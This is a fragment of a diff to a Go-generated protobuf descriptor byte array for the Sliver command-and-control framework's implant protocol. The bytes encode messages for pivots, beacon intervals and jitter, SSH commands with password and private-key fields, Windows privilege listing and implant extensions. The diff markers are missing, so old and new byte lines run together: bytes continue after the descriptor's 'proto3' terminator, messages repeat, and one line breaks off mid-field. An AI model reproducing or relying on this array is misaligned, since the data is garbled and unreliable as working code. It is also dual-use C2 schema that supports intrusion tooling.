0x6f, 0x6e, 0x63, 0x65, 0x22, 0x50, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x43, 0x6f, 0x6e, 0x6e, 0x50,
0x69, 0x76, 0x6f, 0x74, 0x12, 0x1a, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01,
0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, 0x01, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44,
0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73,
0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41,
0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x22, 0x6f, 0x0a, 0x10, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50,
0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x06, 0x50, 0x65,
0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, 0x01, 0x52, 0x06,
0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2d, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02,
0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52,
@@ -9833,129 +9850,133 @@ var file_sliverpb_sliver_proto_rawDesc = []byte{
0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01,
0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65,
0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,
0x22, 0x71, 0x0a, 0x14, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74,
0x65, 0x72, 0x76, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f,
0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x01, 0x20,
0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e,
0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75,
0x65, 0x73, 0x74, 0x22, 0x43, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74,
0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70,
0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d,
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08,
0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x62, 0x0a, 0x0f, 0x50, 0x6f, 0x6c, 0x6c,
0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x22, 0x0a, 0x0c, 0x50,
0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28,
0x03, 0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12,
0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b,
0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75,
0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0c,
0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x2e, 0x0a, 0x08,
0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xd8, 0x01, 0x0a,
0x0d, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x12, 0x1a,
0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f,
0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f,
0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03,
0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f,
0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x6f, 0x6d,
0x6d, 0x61, 0x6e, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64,
0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64,
0x12, 0x18, 0x0a, 0x07, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28,
0x0c, 0x52, 0x07, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65,
0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f,
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07,
0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x6c, 0x0a, 0x0a, 0x53, 0x53, 0x48, 0x43, 0x6f,
0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x4f, 0x75, 0x74, 0x18,
0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x64, 0x4f, 0x75, 0x74, 0x12, 0x16, 0x0a,
0x06, 0x53, 0x74, 0x64, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53,
0x74, 0x64, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,
0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73,
0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76,
0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18,
0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
0x74, 0x22, 0xd3, 0x01, 0x0a, 0x15, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x50, 0x72, 0x69,
0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e,
0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12,
0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02,
0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f,
0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01,
0x28, 0x08, 0x52, 0x07, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x2a, 0x0a, 0x10, 0x45,
0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x42, 0x79, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x18,
0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x42, 0x79,
0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x6d, 0x6f, 0x76,
0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65,
0x64, 0x12, 0x24, 0x0a, 0x0d, 0x55, 0x73, 0x65, 0x64, 0x46, 0x6f, 0x72, 0x41, 0x63, 0x63, 0x65,
0x73, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x55, 0x73, 0x65, 0x64, 0x46, 0x6f,
0x72, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xc5, 0x01, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50,
0x72, 0x69, 0x76, 0x73, 0x12, 0x3b, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x76, 0x49, 0x6e, 0x66, 0x6f,
0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65,
0x67, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x69, 0x76, 0x49, 0x6e, 0x66,
0x6f, 0x12, 0x2a, 0x0a, 0x10, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x49, 0x6e, 0x74, 0x65,
0x67, 0x72, 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x50, 0x72, 0x6f,
0x63, 0x65, 0x73, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a,
0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01,
0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4e, 0x61, 0x6d, 0x65, 0x12,
0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28,
0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73,
0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22,
0x8f, 0x01, 0x0a, 0x14, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65,
0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04,
0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61,
0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53,
0x12, 0x12, 0x0a, 0x04, 0x49, 0x6e, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
0x49, 0x6e, 0x69, 0x74, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18,
0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
0x74, 0x22, 0x43, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74,
0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65,
0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x10, 0x43, 0x61, 0x6c, 0x6c, 0x45,
0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e,
0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12,
0x20, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x02,
0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x72,
0x65, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x67, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52,
0x04, 0x41, 0x72, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x18,
0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x2b, 0x0a,
0x22, 0xb7, 0x01, 0x0a, 0x0e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65,
0x52, 0x65, 0x71, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74,
0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11,
0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61,
0x6c, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72,
0x76, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f,
0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61,
0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52,
0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x2b, 0x0a,
0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x79, 0x0a, 0x0d, 0x43, 0x61,
0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x4f,
0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x4f, 0x75, 0x74,
0x70, 0x75, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f,
0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
0x53, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,
0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73,
0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x40, 0x0a, 0x11, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74,
0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65,
0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f,
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07,
0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x56, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45,
0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x61, 0x6d,
0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x12,
0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28,
0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73,
0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a,
0x2c, 0x0a, 0x09, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03,
0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x55, 0x44, 0x50, 0x10, 0x01, 0x12, 0x0d,
0x0a, 0x09, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x10, 0x02, 0x2a, 0x33, 0x0a,
0x0f, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x54, 0x79, 0x70, 0x65,
0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x4e, 0x44, 0x5f, 0x46, 0x41, 0x49, 0x4c, 0x55, 0x52, 0x45,
0x10, 0x00, 0x12, 0x0e, 0x0a, 0x0a, 0x44, 0x49, 0x53, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54,
0x10, 0x01, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d,
0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3d, 0x0a, 0x0b, 0x52, 0x65,
0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73,
0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f,
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52,
0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x62, 0x0a, 0x0f, 0x50, 0x6f, 0x6c,
0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x22, 0x0a, 0x0c,
0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x01, 0x20, 0x01,
0x28, 0x03, 0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c,
0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28,
0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71,
0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a,
0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x2e, 0x0a,
0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,
0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f,
0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xd8, 0x01,
0x0a, 0x0d, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x12,
0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28,
0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48,
0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48,
0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18,
0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x43,
0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x6f,
0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72,
0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72,
0x64, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01,
0x28, 0x0c, 0x52, 0x07, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x2b, 0x0a, 0x07, 0x52,
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63,
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52,
0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x6c, 0x0a, 0x0a, 0x53, 0x53, 0x48, 0x43,
0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x4f, 0x75, 0x74,
0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x64, 0x4f, 0x75, 0x74, 0x12, 0x16,
0x0a, 0x06, 0x53, 0x74, 0x64, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
